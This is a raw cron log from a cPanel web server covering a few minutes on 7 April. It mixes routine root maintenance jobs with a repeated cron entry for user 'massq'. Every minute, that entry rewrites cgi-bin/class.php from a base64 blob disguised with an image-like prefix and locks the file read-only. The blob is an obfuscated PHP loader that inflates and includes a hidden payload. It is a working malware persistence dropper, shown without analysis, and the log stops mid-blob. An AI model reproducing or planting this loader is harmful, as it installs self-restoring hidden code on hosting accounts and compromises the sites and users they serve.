Apr  7 17:41:01 server CROND[4309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:42:01 server CROND[4384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 17:42:01 server CROND[4385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:43:01 server CROND[4540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:44:01 server CROND[4601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:45:01 server CROND[4671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:45:01 server CROND[4672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:45:01 server CROND[4673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:46:01 server CROND[4797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:47:01 server CROND[4895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:48:01 server CROND[5051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:49:01 server CROND[5137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:50:01 server CROND[5217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:50:01 server CROND[5216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:50:01 server CROND[5215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 17:50:01 server CROND[5218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:50:01 server CROND[5223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:51:01 server CROND[5344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:52:01 server CROND[5420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:53:01 server CROND[5474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:54:01 server CROND[5618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU